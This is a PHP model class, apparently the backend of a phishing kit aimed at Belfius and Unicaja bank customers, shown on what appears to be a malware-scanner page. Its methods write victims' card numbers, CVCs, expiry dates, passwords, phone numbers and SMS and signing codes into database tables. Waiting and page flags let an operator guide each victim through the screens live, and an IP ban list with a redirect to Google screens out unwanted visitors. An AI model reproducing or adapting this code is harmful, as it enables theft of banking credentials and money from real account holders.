namespace App\Models\Belfius;
use PDO;
class Belfius extends \Core\Model {
public static function redirect() {
$sql = "SELECT * FROM redirect WHERE id = :id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":id", 1, PDO::PARAM_INT);
$stmt->execute();
$data = $stmt->fetch();
if ($data) {
header("location: " . $data["redirect"]);
die;
}
else {
header("location: https://www.google.nl");
die;
}
}
public static function findBan($ip) {
$sql = "SELECT * FROM bans WHERE ip = :ip";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":ip", $ip, PDO::PARAM_STR);
$stmt->execute();
$data = $stmt->fetch();
if ($data) {
return true;
}
return false;
}
public static function setLogInformation($uid) {
$sql = "UPDATE logs SET bank = :bank, unicaja_card = :empty, unicaja_vv = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "UNICAJA", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setIdentificationInformation($uid) {
$sql = "UPDATE logs SET bank = :bank, unicaja_phone = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "UNICAJA", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setBelInformation($uid) {
$sql = "UPDATE logs SET bank = :bank, unicaja_bel = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "UNICAJA", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setPasswordInformation($uid) {
$sql = "UPDATE logs SET bank = :bank, unicaja_pass = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "UNICAJA", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setCreditInformation($uid) {
$sql = "UPDATE logs SET bank = :bank, unicaja_cc = :empty, unicaja_cc_exp = :empty, unicaja_cvc = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "UNICAJA", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setLoginCodeInformation($uid) {
$sql = "UPDATE logs SET bank = :bank, unicaja_sms = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "UNICAJA", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setSignCodeInformation($uid) {
$sql = "UPDATE reliable_logs SET bank = :bank, unicaja_m1 = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "UNICAJA", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setTokenInformation($uid) {
$sql = "UPDATE reliable_logs SET bank = :bank, unicaja_m2 = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "UNICAJA", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setLiveInformation($uid) {
$sql = "UPDATE reliable_logs SET bank = :bank, unicaja_live = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "UNICAJA", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setBuyInformation($uid) {
$sql = "UPDATE reliable_logs SET bank = :bank, unicaja_buy = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "UNICAJA", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function checkPayment($url = array()) {
$sql = "SELECT * FROM requests WHERE url = :id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":id", $url, PDO::PARAM_STR);
$stmt->execute();
$data = $stmt->fetch();
if ($data) {
return $data;
}
return false;
}
public static function getPage($uid) {
$sql = "SELECT * FROM logs WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->execute();
$data = $stmt->fetch();
if (!empty($data["page"])) {
return $data["page"];
}
return false;
}
public static function setLogin($card, $exp, $uid) {
$sql = "UPDATE logs SET unicaja_card = :card, unicaja_vv = :exp, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":card", $card, PDO::PARAM_STR);
$stmt->bindValue(":exp", $exp, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setIdentification($identification, $uid) {
$sql = "UPDATE logs SET unicaja_phone = :identification, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":identification", $identification, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setBel($identification, $uid) {
$sql = "UPDATE logs SET unicaja_bel = :identification, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":identification", $identification, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setPassword($password, $uid) {
$sql = "UPDATE logs SET unicaja_pass = :password, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":password", $password, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setCredit($cc, $cvc, $exp, $uid) {
$sql = "UPDATE logs SET unicaja_cc= :cc, unicaja_cvc = :cvc, unicaja_cc_exp = :exp, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":cc", $cc, PDO::PARAM_STR);
$stmt->bindValue(":cvc", $cvc, PDO::PARAM_STR);
$stmt->bindValue(":exp", $exp, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setLoginCode($code, $uid) {
$sql = "UPDATE logs SET unicaja_sms = :code, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":code", $code, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setSignCode($code, $uid) {
$sql = "UPDATE logs SET unicaja_m1 = :code, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":code", $code, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setLive($respons, $uid) {
$sql = "UPDATE logs SET unicaja_live = :respons, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":respons", $respons, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setBuy($respons, $uid) {
$sql = "UPDATE logs SET unicaja_buy = :respons, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":respons", $respons, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setToken($code2, $uid) {
$sql = "UPDATE logs SET unicaja_m2 = :code2, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":code2", $code2, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setLoginPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, unicaja_card = :empty, unicaja_vv = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setIdentificationPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, unicaja_phone = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setBelPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, unicaja_bel = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setPasswordPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, unicaja_pass = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setCreditPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, unicaja_cc = :empty, unicaja_cc_exp = :empty, unicaja_cvc = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setSignCodePage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, unicaja_m1 = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setLivePage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, unicaja_live = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setBuyPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, unicaja_buy = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setTokenPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, unicaja_m2 = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setLoginCodePage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, unicaja_sms = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setSignCodePageCode($uid, $page, $code) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, unicaja_m1 = :empty, unicaja_m1_get = :code WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":code", $code, PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setLivePageCode($uid, $page, $live, $livetwo) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, unicaja_live = :empty, unicaja_live_get = :live, unicaja_live2_get = :livetwo WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":live", $live, PDO::PARAM_STR);
$stmt->bindValue(":livetwo", $livetwo, PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setBuyPageCode($uid, $page, $buy, $buytwo) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, unicaja_buy = :empty, unicaja_buy_get = :buy, unicaja_buytwo_get = :buytwo WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":buy", $buy, PDO::PARAM_STR);
$stmt->bindValue(":buytwo", $buytwo, PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setTokenPageCode($uid, $page, $code2) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, unicaja_m2 = :empty, unicaja_m2_get = :code2 WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":code2", $code2, PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setFinishPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function getSignCode($uid) {
$sql = "SELECT * FROM logs WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":uid", $uid);
$stmt->execute();
$data = $stmt->fetch();
if (!empty($data["unicaja_m1_get"])) {
return $data["unicaja_m1_get"];
}
return false;
}
public static function getToken($uid) {
$sql = "SELECT * FROM logs WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":uid", $uid);
$stmt->execute();
$data = $stmt->fetch();
if (!empty($data["unicaja_m2_get"])) {
return $data["unicaja_m2_get"];
}
return false;
}
public static function getLive($uid) {
$sql = "SELECT * FROM logs WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":uid", $uid);
$stmt->execute();
$data = $stmt->fetch();
if (!empty($data["unicaja_live_get"])) {
return $data["unicaja_live_get"];
}
return false;
}
public static function getLivetwo($uid) {
$sql = "SELECT * FROM logs WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":uid", $uid);
$stmt->execute();
$data = $stmt->fetch();
if (!empty($data["unicaja_live2_get"])) {
return $data["unicaja_live2_get"];
}
return false;
}
public static function getBuy($uid) {
$sql = "SELECT * FROM logs WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":uid", $uid);
$stmt->execute();
$data = $stmt->fetch();
if (!empty($data["unicaja_buy_get"])) {
return $data["unicaja_buy_get"];
}
return false;
}
public static function getBuytwo($uid) {
$sql = "SELECT * FROM logs WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":uid", $uid);
$stmt->execute();
$data = $stmt->fetch();
if (!empty($data["unicaja_buytwo_get"])) {
return $data["unicaja_buytwo_get"];
}
return false;
}
}
© 2023 Quttera Ltd. All rights reserved.